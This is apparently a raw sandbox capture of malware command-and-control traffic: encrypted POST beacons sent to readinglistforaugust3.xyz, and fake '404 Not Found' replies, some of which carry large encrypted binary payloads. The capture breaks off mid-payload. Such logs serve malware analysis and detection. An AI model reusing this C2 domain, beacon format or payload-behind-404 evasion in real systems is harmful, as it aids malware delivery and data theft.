Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:32.072818995 CEST	6149	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:32.072880030 CEST	6149	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 22 bc d5 4a 99 47 ba bf bb 8a 99 42 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q"JGBmuF@_w&?WF%Y_'dm/2b1}:y5 zvJ(d.p}MBvq(a.)~kK<y[l-
Aug 24, 2021 14:01:32.119067907 CEST	6150	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:32.129992008 CEST	6150	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 152 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:32.130027056 CEST	6150	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 25 bc d5 4a 99 47 ba bf c6 de 85 7d Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q%JG}u"M]M=Y5(#t.E25hJM
Aug 24, 2021 14:01:32.174021959 CEST	6151	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:32.190176964 CEST	6151	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 216 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:32.190390110 CEST	6152	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 24 bc d5 4a 99 47 ba bf c3 84 93 43 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q$JGCCoD)QF&("X][#4-nY!\|!pooCC-kmoX,m$)OJv2
Aug 24, 2021 14:01:32.249628067 CEST	6152	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:32.258965015 CEST	6153	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 351 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:32.259104967 CEST	6153	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 27 bc d5 4a 99 47 ba bf 94 d4 8e 2b Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q'JG+@OZ+!L0<)?_E=Q:}zE}>kuhc@X^=ng6x>v1!a~K9_PCS%@zYObJnc
Aug 24, 2021 14:01:32.305164099 CEST	6154	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:32.336775064 CEST	6154	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 161 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:32.423228025 CEST	6156	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 33 66 66 36 36 0d 0a 00 00 a6 97 8c b4 08 02 7f 77 08 a7 e7 cb 2c c9 aa 43 96 74 c4 0c 23 20 5b f4 75 62 d6 86 a7 f2 12 bc a9 da 62 b6 a0 d6 8e 2a 03 c1 fe f5 78 80 42 09 22 23 7a 2b 5a be 51 83 37 f3 38 8f fd dd 37 2e 52 8c 23 e2 54 03 2c 1e 64 de 43 81 bc a4 b9 18 d8 e0 a3 e5 f9 b6 3f 7c 68 a0 d4 a1 a7 43 ab 78 a6 8f 31 88 43 72 56 b9 f9 4f 85 d1 73 62 c6 80 7d 19 09 03 aa d1 5f fb 83 4a 56 48 b2 50 68 63 5d d5 06 2d e0 35 ad f9 82 5e f3 8f 10 a3 d2 38 14 32 8f d7 8f 4e 9f 01 be 22 be c7 b7 3e cd 87 45 a3 3a d5 a7 5f 81 cb 05 57 0f 79 93 73 72 62 19 93 b5 34 16 e4 9c 32 11 61 7f 14 ef 78 78 30 be 80 f5 fd 31 4f c6 34 5d ee 71 0a 12 63 f7 cc eb 6b f9 22 4f 87 4a c2 2f b2 87 2e fb bc 06 b1 83 34 6b 27 30 77 1b bd 55 16 4a e2 50 47 9a 0e 3a 54 e9 43 82 e4 64 23 64 77 40 57 91 f8 32 2f 05 d5 6e 93 9a b8 04 64 bf 43 ab 56 7a ea 73 6d f1 d5 54 ce 08 cd f7 dd 52 10 bf 3d 1f c8 e6 c6 c6 89 ba 86 a8 a3 15 4d 81 43 1a ff bc c1 94 52 07 2a 22 af 15 27 78 3a 02 f4 74 c6 51 e5 0d bb 27 32 43 c6 48 f8 87 a9 b2 c7 9e 43 b7 af 83 97 e1 1b d3 98 fe 36 5f 10 62 46 52 ef 25 4c 31 5a 4f 52 54 9f 50 c5 0d 60 47 df 1b 68 d3 df 32 78 1d 2d ce d5 02 04 e7 14 ac f9 cc 13 91 3c 7a 54 c9 45 56 36 06 26 50 da 30 f2 0b 8e 39 cd a8 65 17 92 54 67 f4 c1 ed fe 25 0d 1e 5d ea e8 07 3d 23 da 73 a8 38 36 a1 7f 55 b6 65 c8 f6 7d e0 67 b7 c1 21 4d f3 93 bf e9 ab 1c 91 23 0c 14 be a3 a6 65 79 cc 26 56 7a 39 04 8e b3 6f 2d 65 2a e5 83 cb e7 66 93 f8 bd 03 df d7 2d 12 79 ee 2a 49 e8 a8 25 99 a3 a0 cd 1b 38 c0 83 89 02 ed 02 67 3c d8 23 bc b6 b5 b5 2e 5d fb ed 40 2b 16 18 68 5f 30 6f cb 7b 8e 72 b2 2c e1 26 15 94 a8 14 df c9 8b af 46 34 fa da fb 47 95 27 a3 55 67 50 71 c2 1d 60 74 a5 6c 3c 42 57 eb f4 4e 31 1f 21 3b d7 af 49 27 b5 8c 9a b1 20 59 00 73 38 d0 5f 93 7b 4a 51 69 79 13 99 ea 3a c7 da 53 4f b7 4a 87 66 5e 1a a3 de db 28 ff 67 00 df 63 28 2f 3a b8 76 ea 7c ba 35 23 fc c6 05 07 1b 30 d1 b8 1e 7e 25 1f a5 8b 03 5c dd 49 8e 19 6f f4 e9 15 b7 51 19 e2 de d1 75 05 b3 b2 b6 78 65 55 fc c9 45 ab 3a ad 84 bb 95 5a 09 89 66 30 6e 20 9d d0 ab 44 33 40 97 9d 5c eb 9e 48 04 98 f4 df dc 03 c2 ed 6f 20 82 60 4b 66 3a f8 ab da e0 3d 51 1d 7e 80 bf 3a 68 d6 17 41 c3 ac c3 c8 c9 7f 73 06 0c ba f8 27 83 54 24 f8 e5 cc 78 72 1b 60 a0 69 a3 b3 0d 38 51 b9 f6 12 65 8a 16 3e 1f b1 7a 37 ab d6 bb 35 32 8b 60 44 85 d5 79 e1 34 75 3b 71 9b e3 c0 68 f2 c8 79 8e 6b 4e 87 48 ef 18 e2 39 e1 fa 24 d1 76 58 05 e0 f0 b4 2d 91 6c 38 9f 27 ad 0f 44 94 ac f1 cc e6 60 81 e9 1b 56 1f f5 60 e7 aa 77 77 db e3 73 0d b2 19 1f b7 1c 9a 65 6b 2a 27 6e f8 ee 65 44 50 7f c8 c6 aa e8 a7 4b 5d 7e 8f a5 68 cc f6 2f c9 24 c0 0f 0d e9 41 73 d9 66 56 a2 54 d1 c4 a3 85 4b e7 fc bd 6c 72 1d 78 d5 a3 0d a7 9c 13 58 93 db 14 d8 53 d4 25 5f dd d5 84 e2 46 40 28 66 00 32 25 e3 96 d4 c9 e1 e9 25 7a c7 da 66 30 d8 17 e8 b4 31 e9 32 95 37 23 72 74 1f 87 85 ce bf 87 9d 85 aa fd 27 ba ee 4e 81 22 f5 3f a4 86 cc 87 3b fe e1 39 be 29 e1 6b 8d d3 12 bc ed 9a e3 cf 59 ad 28 e3 83 ac 88 af 0c b7 53 8c 3e 85 ad 3d eb 95 d9 ac d0 90 91 ec b0 70 43 9d 8c 28 3c d6 ef ff e6 84 27 ed e4 8f 3b c2 b8 60 95 39 0f cb dc 34 1d 98 ab d7 ef 55 02 53 49 d9 3f 90 d5 13 d1 74 9f 74 6d d4 ca e1 ac 7d d3 b6 35 5e 71 85 87 db 84 ce 1c f0 7f d0 33 d5 61 1b 51 18 63 7c c2 df 1b 47 f7 a1 1c aa 9b 31 46 a2 d7 9f 5d b9 02 9f 71 60 9c a7 3c 90 c4 13 6e d1 1f 14 dc 3a a1 c5 27 8b 3d 4d 7d 36 bd 05 2a a8 79 e8 45 89 dd 94 5b Data Ascii: 3ff66w,Ct# [ubbxB"#z+ZQ787.R#T,dC?\|hCx1CrVOsb}_JVHPhc]-5^82N">E:_Wysrb42axx01O4]qck"OJ/.4k'0wUJPG:TCd#dw@W2/ndCVzsmTR=MCR"'x:tQ'2CHC6_bFR%L1ZORTP`Gh2x-<zTEV6&P09eTg%]=#s86Ue}g!M#ey&Vz9o-ef-yI%8g<#.]@+h_0o{r,&F4G'UgPq`tl<BWN1!;I' Ys8_{JQiy:SOJf^(gc(/:v\|5#0~%\IoQuxeUE:Zf0n D3@\Ho `Kf:=Q~:hAs'T$xr`i8Qe>z752`Dy4u;qhykNH9$vX-l8'D`V`wwsek'neDPK]~h/$AsfVTKlrxXS%_F@(f2%%zf0127#rt'N"?;9)kY(S>=pC(<';`94USI?ttm}5^q3aQc\|G1F]q`<n:'=M}6yE[
Aug 24, 2021 14:01:33.086813927 CEST	6718	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:33.133512020 CEST	6719	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:33.169368029 CEST	6719	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:33.255979061 CEST	6721	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 33 66 66 36 36 0d 0a 00 00 a6 97 8c b4 08 02 7f 77 08 a7 e7 cb 2c c9 aa 43 96 74 c4 0c 23 20 5b f4 75 62 d6 86 a7 f2 12 bc a9 da 62 b6 a0 d6 8e 2a 03 c1 fe f5 78 80 42 09 22 23 7a 2b 5a be 51 83 37 f3 38 8f 9d dd 37 2e 52 8c 23 e2 54 03 2c 1e 64 de 43 81 bc a4 b9 18 d8 e0 a3 e5 f9 b6 3f 7c 68 a0 d4 a1 a7 43 ab 78 a6 8f 31 88 43 72 56 b9 f9 4f 85 d1 73 62 c6 80 7d 19 09 03 aa d1 5f fb 83 4a 56 48 b2 50 68 63 2b 5a da 57 ce 9f 1c d0 10 2e a9 55 72 08 60 11 68 cb a8 fe 10 e5 0f 28 c9 da bf ee 57 83 77 ae 39 18 04 fc fd f4 33 e2 4a 0e ce 50 f6 f8 c0 4b 7b b8 0e 1d fb 4f 6e 1b 6d b8 47 3d 8c d1 ca 19 c6 79 d3 d4 52 e4 74 1d 25 17 52 23 71 c8 45 e5 b9 a2 92 4a 2d 2e f8 eb 2f b2 87 2e f9 bc 46 34 d3 71 7b 27 7c 66 1f bd 15 2f 01 bc 50 57 9a 0e 3a 54 e9 43 72 e4 67 22 6f 76 49 57 91 b4 30 2f b5 14 98 92 cd b8 04 64 6f 1c a3 56 22 d0 73 6d f1 b5 56 ce 08 cd b7 dd 52 00 bf 3d 1f ca e6 c6 c3 09 b2 86 a4 a3 15 4d b4 77 12 ff a0 c1 94 52 07 0a 22 ad 15 23 78 3a 41 86 7e c6 53 e5 0d 3b 27 32 53 c6 48 e8 87 a9 b2 c7 8e 43 b7 bf 83 97 e1 1b d3 98 ee 36 5f 10 62 66 52 ef 2d 4c 31 5a 63 51 57 9f 00 c5 0d 60 4f 1f e4 69 fb ea 32 78 1d 2d ce d5 02 04 e7 14 82 8d a9 6b e5 3c 7a 54 19 51 5e 36 06 06 50 da 50 86 01 8e 25 cf a8 65 17 92 54 67 f4 c1 ed fe 25 0d 1e 5d ca e8 07 5d 0d a8 00 da 5b 36 a1 7f a5 65 67 c8 b6 3d e8 67 b7 ed 21 4d f3 8b b7 e9 ab 7c 93 23 04 16 be a3 a6 65 79 cc 66 56 7a 79 2a fc d6 03 42 06 2a e5 8f cb e7 66 93 78 b5 03 f1 a1 48 6a 0d aa 22 49 f8 e3 27 99 a3 b0 cd 1b 38 8c 81 89 42 e9 02 25 3c d8 23 bc b6 b5 b5 2e 5d fb ed 40 0b 16 18 08 9d 71 03 aa 0f ef 72 b2 98 4f 26 15 96 c8 13 df f9 64 af 46 10 ec d9 fb 46 95 27 a3 df 67 50 77 5e c0 62 74 f1 3a 39 02 79 8f 95 3a 50 1f 21 3b ab 63 b5 26 b5 9c 99 b1 20 0b 06 73 38 d0 5c 93 7b 4a 51 69 79 13 99 ea 3a c7 da 53 0f b7 4a 47 14 2c 46 d1 82 db 68 ff 24 35 e5 63 73 cf 98 b9 63 60 f2 b6 fc e0 7c 56 2b 83 ae c3 12 48 1d 47 ea 0e bf 8e ac 59 4a bb 22 6d c1 df e4 bd be 75 2f d3 b2 cc 9f f9 5b aa cf 25 51 57 30 b6 4c 72 1c 79 df d8 65 7f 63 99 42 eb 31 74 7c 8e 28 c0 49 d1 2a 0c df 0f d3 99 23 9a 7f 4e 0c 96 26 c1 04 f3 87 57 07 c3 09 e8 6d 86 18 33 cc 89 4b 9b 66 94 ef ec d6 37 95 ec 44 41 f5 7f 60 36 04 ba ff 27 83 54 24 f8 e5 cc 7a 5a 0f 61 a0 63 89 b3 0c 28 51 b9 f6 12 63 8a 91 b3 1f a2 4e 37 ab d7 a8 05 3a 8b 62 44 85 d5 79 e1 34 75 2f 5b 9b e3 c1 78 f2 c8 79 8e 6b 4e d2 1d ef 0b d6 39 e1 fb 37 e1 7e 58 07 e0 f0 b4 2d 91 6c 38 8b 0d ad 0f 45 84 ac f1 cc e6 60 81 fe 0c 56 0c c1 60 e7 ab 64 47 d3 e3 71 0d b2 19 1f b7 1c 9a 71 41 2a 27 6f e8 ee 65 44 50 7f c8 f1 9d e8 b4 7f 5d 7e 8e b6 58 c4 f6 2d c9 24 c0 0f 0d e9 41 67 f3 66 56 a3 44 d1 c4 a3 85 4b e7 cb 8a 6c 61 29 78 d5 a2 1e 97 94 13 5a 93 db 14 d8 53 d4 25 4b f7 d5 84 e3 56 40 28 66 00 32 25 d4 a1 d4 da d5 e9 25 7b d4 ea 6e 30 da 17 e8 b4 31 e9 32 95 23 09 72 74 1e 97 85 ce bf 87 9d 85 9d ca 27 a9 da 4e 81 23 e6 0f ac 86 cd 87 3b fe e1 39 be 29 cb 6b 8d d3 13 ac ed 9a e3 cf 59 ad 